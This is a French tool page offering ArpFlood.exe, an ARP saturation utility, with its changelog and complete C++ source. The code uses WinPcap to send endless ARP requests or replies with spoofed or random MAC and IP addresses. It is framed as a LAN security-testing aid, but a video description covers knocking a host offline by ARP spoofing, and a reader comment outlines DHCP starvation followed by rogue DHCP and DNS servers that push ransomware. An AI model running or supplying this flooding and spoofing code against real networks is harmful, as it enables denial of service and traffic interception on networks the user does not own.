Outil d’attaque par saturation de requete ARP
Sommaire
1 – Définition de l’exécutable
L’utilitaire ArpFlood permet l’envoi massif de demande ou de réponse ARP. Ainsi il sera facile de tester et valider la bonne sécurisation de ses équipements LAN Ethernet.
2 – Screen shot
3 – Download
Nom : ArpFlood.exe
Mode : Console
Version : 1.1
Librairie : 3.11
Taille : 60 Ko
Auteur : _SebF
Date de création : 02 Novembre 2006
Dernière compilation : 07 Décembre 2006
4 – Suivi du développement
4.1 – Problème restant
4.2 – RoadMap
4.3 – Suivi du projet
- V1.1.3.11
Ajout des arguments -arp_opocode, -arp_mac_source, -arp_ip_source, -arp_mac_destination et -arp_ip_destination
Affectation à chacun de la possibilité de spécifier 0 afin d’obtenir un triage aléatoire - V1.0.3.10
Ajout de l’argument -mac_source permettant le tirage aléatoire de l’adresse MAC
Passage de l’entête ARP en data_hexa
Création du projet Cmd, Level 4, compilation en mode Release.
5 – Code source
5.1 – ArpFlood.cpp
// ********************************************
// Nom : ArpFlood.cpp
// Auteur : sebastien.fontaine@authsecu.com.pas.de.spam
// Date de création : 02 Novembre 2006
// version : 1.1.3.11
// Licence : Cette executable est libre de toute utilisation.
// La seule condition existante est de faire référence
// au site http://www.authsecu.com afin de respecter le travail d'autrui.
// ********************************************
// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
#include "LibrairieSocket.h"
#include "pcap.h"
// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command Line :
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"
// /NODEFAULTLIB:libcd.lib
// /NODEFAULTLIB:LIBCMTD.lib
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")
// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void gestion_des_arguments(int argc, char* argv[]);
void Changement_aleatoire_des_valeurs(void);
void envoi_de_la_trame_winsock(void);
void envoi_de_la_trame_pcap(void);
void affichage_du_resultat(void);
// ********************************************************
// Les variables
// ********************************************************
struct mac entete_mac; // Entête Ethernet
struct arp entete_arp; // Entête ARP
char arp_ip_source[16];
char arp_ip_destination[16];
char data_a_envoyer[65535]; // Data
unsigned int taille_de_data; // Longueur du char *, je n'utilise pas strlen car il peux y avoir des 0
unsigned char trame_a_envoyer[65535]; // data + entete ethernet
unsigned short taille_de_la_trame_a_envoyer=0; // Permet d'éviter un sizeof qui s'arrête au premier 0 trouvé
int nombre_de_caractere_emis; // Variable récupérant le nombre de caractères émis
unsigned long loops; // Compteur permettant de lancer x fois les trames
bool bouclage_infinie; // Variable permettant de définir le mode de boucle infinie (quand loops=0)
unsigned char numero_de_l_interface; // Numéro de l'interface qui sera utilisée
struct gestion_des_interfaces liste_des_interfaces; // structure possédant les informations des intefaces
struct adresse_mac adresse_mac_tampon; // Adresse MAC
bool mac_source_aleatoire; // Variable permettant de savoir si l'adresse MAC source doit être tirée aléatoirement
bool arp_mac_source_aleatoire; // Variable permettant de savoir si l'adresse MAC source doit être tirée aléatoirement
bool arp_ip_source_aleatoire; // Variable permettant de savoir si on doit tirer aléatoirement une adresse IP
bool arp_mac_destination_aleatoire; // Variable permettant de savoir si l'adresse MAC destination doit être tirée aléatoirement
bool arp_ip_destination_aleatoire; // Variable permettant de savoir si on doit tirer aléatoirement une adresse IP
bool view; // Variable indiquant si on doit afficher les resultats
pcap_t *pointeur_interface; // Pointeur de l'interface
char buffer_d_erreur[PCAP_ERRBUF_SIZE];
int main (int argc, char* argv[])
{
initiation_des_variables();
gestion_des_arguments(argc,argv);
// ********************************************************
// Accède à l'interface
// ********************************************************
if ((pointeur_interface=pcap_open_live( liste_des_interfaces.nom[numero_de_l_interface],65536,0, 1000,buffer_d_erreur))==NULL)
gestion_des_erreurs(1,"pcap_open_live",1,1);
// ********************************************************
// Boucle d'envoi
// ********************************************************
while ( (loops!=0)||(bouclage_infinie==TRUE) )
{
// ********************************************************
// Décrémentation de la boucle
// ********************************************************
loops--;
// ********************************************************
// Changement aléatoire des champs
// ********************************************************
Changement_aleatoire_des_valeurs();
// ********************************************************
// Envoi de la trame
// ********************************************************
envoi_de_la_trame_pcap();
// ********************************************************
// Affichage du résultat
// ********************************************************
if (view==true)
affichage_du_resultat();
}
// ********************************************************
// Fermeture de l'accès à l'interface
// ********************************************************
pcap_close(pointeur_interface);
printf("\n\n");
return(1);
}
void initiation_des_variables(void)
{
unsigned i;
// ********************************************************
// Initiation diverse
// ********************************************************
srand(GetTickCount()); // Initialise le Random
// ********************************************************
// Affichage de la banniere
// ********************************************************
printf("\nArpFlood - Send ArpRequest with spoofing MAC Source - Version 1.1.3.11");
printf("\nCreate on November 02, 2006, Last compilation on December 11, 2006");
printf("\nCreated by sebastien.fontaine@authsecu.com");
printf("\n");
// ********************************************************
// Initiation des arguments
// ********************************************************
loops=1;
bouclage_infinie=FALSE;
numero_de_l_interface=0;
liste_des_interfaces=recuperation_des_interfaces();
view=true;
// ********************************************************
// Options de l'entête MAC
// ********************************************************
adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
for (i=0;i<6;i++)
{
entete_mac.source[i]=0;
entete_mac.destination[i]=255;
}
mac_source_aleatoire=true;
entete_mac.type=htons(2054); // 08 06 indiquant un datagramme ARP
// ********************************************************
// Options de l'entête ARP
// ********************************************************
entete_arp.mac_type=htons(1);
entete_arp.protocol_type=htons(2048);
entete_arp.mac_taille=6;
entete_arp.protocol_taille=4;
entete_arp.opocode=htons(1);
arp_mac_source_aleatoire=true;
for (i=0;i<6;i++)
entete_arp.mac_source[i]=0;
strcpy(arp_ip_source,"0.0.0.0");
entete_arp.ip_source=resolution_de_nom(TRUE,arp_ip_source);
arp_ip_source_aleatoire=true;
arp_mac_destination_aleatoire=true;
for (i=0;i<6;i++)
entete_arp.mac_destination[i]=0;
strcpy(arp_ip_destination,"0.0.0.0");
entete_arp.ip_destination=resolution_de_nom(TRUE,arp_ip_destination);
arp_ip_destination_aleatoire=true;
// ********************************************************
// Initialisation des data
// ********************************************************
strcpy(data_a_envoyer,"www.frameip.com");
taille_de_data=(unsigned int)strlen(data_a_envoyer);
}
void gestion_des_arguments(int argc,char* argv[])
{
char *caractere_non_convertit;
int i,j;
// ********************************************************
// Affichage de l'aide
// ********************************************************
if ( (argc>1) && (strcmp(argv[1],"-?")==0) || (argc==1) )
{
printf("\n");
printf("\nGENERAL OPTIONS");
printf("\n-? This help");
printf("\n-loops Number of loops Default: %d (0 => no stop)",loops);
printf("\n-view Show the answers Default: %d",view);
printf("\n\nFREE INTERFACES");
for(i=0;i<(signed)liste_des_interfaces.nombre;i++)
printf("\n%d - %s",i,liste_des_interfaces.description[i]);
printf("\n-interface Interface choice Default: %d",numero_de_l_interface);
printf("\n\nETHERNET HEADER OPTIONS (-send_mode 1)");
printf("\n-mac_source 0 => Random @MAC Default: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_mac.source[0], entete_mac.source[2],entete_mac.source[2], entete_mac.source[3],entete_mac.source[4],entete_mac.source[5]);
printf("\n\nARP HEADER OPTIONS (-mac_type 2054)");
printf("\n-arp_opocode Operation type Default: %d (1=>Request; 2=>Answer)",entete_arp.opocode);
printf("\n-arp_mac_source 0 => Random @MAC Default: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_arp.mac_source[0], entete_arp.mac_source[1],entete_arp.mac_source[2], entete_arp.mac_source[3],entete_arp.mac_source[4], entete_arp.mac_source[5]);
printf("\n-arp_ip_source 0 => random @IP Default: %s",arp_ip_source);
printf("\n-arp_mac_destination 0 => Random @MAC Default: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_arp.mac_destination[0], entete_arp.mac_destination[1],entete_arp.mac_destination[2], entete_arp.mac_destination[3],entete_arp.mac_destination[4], entete_arp.mac_destination[5]);
printf("\n-arp_ip_destination 0 => random @IP Default: %s",arp_ip_destination);
printf("\n\nSAMPLE");
printf("\narpflood.exe -interface 2 -loops 0 -view 1");
printf("\n\n");
exit(0);
}
// ********************************************************
// Récupération des arguments
// ********************************************************
for (i=1;i<argc;i=i+1)
{
// ********************************************************
// Choix généraux
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-loops")==0) || (strcmp(strlwr(argv[i]),"/loops")==0) )
{
loops=(unsigned long)strtod(argv[i+1],&caractere_non_convertit);
if (loops==0)
bouclage_infinie=TRUE;
else
bouclage_infinie=FALSE;
}
if ( (strcmp(strlwr(argv[i]),"-view")==0) || (strcmp(strlwr(argv[i]),"/view")==0) )
view=(bool)strtod(argv[i+1],&caractere_non_convertit);
// ********************************************************
// Choix de l'interface
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-interface")==0) || (strcmp(strlwr(argv[i]),"/interface")==0) )
numero_de_l_interface=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
// ********************************************************
// Options de l'entête MAC
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-mac_source")==0) || (strcmp(strlwr(argv[i]),"/mac_source")==0) )
{
adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
for (j=0;j<6;j++)
{
entete_mac.source[j]=adresse_mac_tampon.adresse[j];
if (entete_mac.source[j]!=0)
mac_source_aleatoire=false;
}
}
// ********************************************************
// Options de l'entête ARP
// ********************************************************
if ( (stricmp(argv[i],"-arp_opocode")==0) || (stricmp(argv[i],"/arp_opocode")==0) )
{
entete_arp.opocode=(unsigned short)strtod(argv[i+1],&caractere_non_convertit);
if (entete_arp.opocode==2)
entete_arp.opocode=htons(2);
else
entete_arp.opocode=htons(1);
}
if ( (stricmp(argv[i],"-arp_mac_source")==0) || (stricmp(argv[i],"/arp_mac_source")==0) )
{
adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
for (j=0;j<6;j++)
{
entete_arp.mac_source[j]=adresse_mac_tampon.adresse[j];
if (entete_arp.mac_source[j]!=0)
arp_mac_source_aleatoire=false;
}
}
if ( (stricmp(argv[i],"-arp_ip_source")==0) || (stricmp(argv[i],"/arp_ip_source")==0) )
{
entete_arp.ip_source=(unsigned long)resolution_de_nom(false,argv[i+1]);
if (entete_arp.ip_source!=0)
arp_ip_source_aleatoire=false;
}
if ( (stricmp(argv[i],"-arp_mac_destination")==0) || (stricmp(argv[i],"/arp_mac_destination")==0) )
{
adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
for (j=0;j<6;j++)
{
entete_arp.mac_destination[j]=adresse_mac_tampon.adresse[j];
if (entete_arp.mac_destination[j]!=0)
arp_mac_destination_aleatoire=false;
}
}
if ( (stricmp(argv[i],"-arp_ip_destination")==0) || (stricmp(argv[i],"/arp_ip_destination")==0) )
{
entete_arp.ip_destination=(unsigned long)resolution_de_nom(false,argv[i+1]);
if (entete_arp.ip_destination!=0)
arp_ip_destination_aleatoire=false;
}
}
}
void Changement_aleatoire_des_valeurs()
{
unsigned int i;
// ********************************************************
// Tirage aléatoire de l'adresse MAC
// ********************************************************
if (mac_source_aleatoire==true)
for (i=0;i<6;i++)
entete_mac.source[i]=(unsigned char)rand()%256;
if (arp_mac_source_aleatoire==true)
for (i=0;i<6;i++)
entete_arp.mac_source[i]=(unsigned char)rand()%256;
if (arp_mac_destination_aleatoire==true)
for (i=0;i<6;i++)
entete_arp.mac_destination[i]=(unsigned char)rand()%256;
// ********************************************************
// Tirage aléatoire des adresses IP
// ********************************************************
if (arp_ip_source_aleatoire==true)
entete_arp.ip_source=generation_d_une_adresse_ip_aleatoire(0);
if (arp_ip_destination_aleatoire==true)
entete_arp.ip_destination=generation_d_une_adresse_ip_aleatoire(0);
}
void envoi_de_la_trame_pcap(void)
{
// ********************************************************
// Préparation de la trame à envoyé
// ********************************************************
memcpy(trame_a_envoyer,(unsigned short *)&entete_mac,sizeof(struct mac));
memcpy(trame_a_envoyer+sizeof(struct mac),(unsigned short *)&entete_arp,sizeof(struct arp));
memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct arp),data_a_envoyer,taille_de_data);
// ********************************************************
// Envoi de la trame
// ********************************************************
taille_de_la_trame_a_envoyer=sizeof(struct mac)+sizeof(struct arp)+(unsigned short)taille_de_data;
if(pcap_sendpacket(pointeur_interface,trame_a_envoyer,taille_de_la_trame_a_envoyer)!=0)
gestion_des_erreurs(1,"pcap_sendpacket",1,1);
}
void affichage_du_resultat()
{
// ********************************************************
// Affichage du resultat
// ********************************************************
printf("\nARP frame was sent from %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_mac.source[0],entete_mac.source[1], entete_mac.source[2],entete_mac.source[3], entete_mac.source[4], entete_mac.source[5]);
printf(" to %.2X-%.2X-%.2X-%.2X-%.2X-%.2X with %d Bytes",entete_mac.destination[0], entete_mac.destination[1],entete_mac.destination[2], entete_mac.destination[3], entete_mac.destination[4],entete_mac.destination[5], taille_de_la_trame_a_envoyer);
}
6 – Les vidéos
6.1 - Rendre inopérant un host via ARP
Cette vidéo présente très basiquement comment rendre inopérant un host IP de votre LAN via le spoofing ARP.
6.2 - Hub, Switch or Router ?
Vidéo en anglais présentant les diffrénces entre un HUB, un Switch et un Routeur. Cette présentation est fluide, claire et sympas. Hubs, switches and routers are devices that allow us to create networks and connect those networks to one another. We explain how they work and what their individual differences are.
7 – Discussion autour de l’outil d’attaque par saturation de requete ARP
Vous pouvez poser toutes vos questions, faire part de vos remarques et partager vos expériences à propos de l’outil d’attaque par saturation de requete ARP. Pour cela, n’hésitez pas à laisser un commentaire ci-dessous :
un cas d’attaque arp:
un ordinateur va essayer de se connecter à un réseau en envoyant une requête au serveur dhcp, celui-ci lui répond en lui attribuant une, mais l’attaquant en simulant de nouvelles adresses mac va continuer a demander des adresses au serveur dhcp. quand il en aura reçu suffisamment, il commence son attaque en saturant de demandes le serveur dhcp qui va finir par tomber. Le pirate a alors démarré son rogue-dhcp qui prend sa place , puis son rogue-dns, qui enverra les demandes vers google ver un faux site google pour installer par exemple des ransomwares.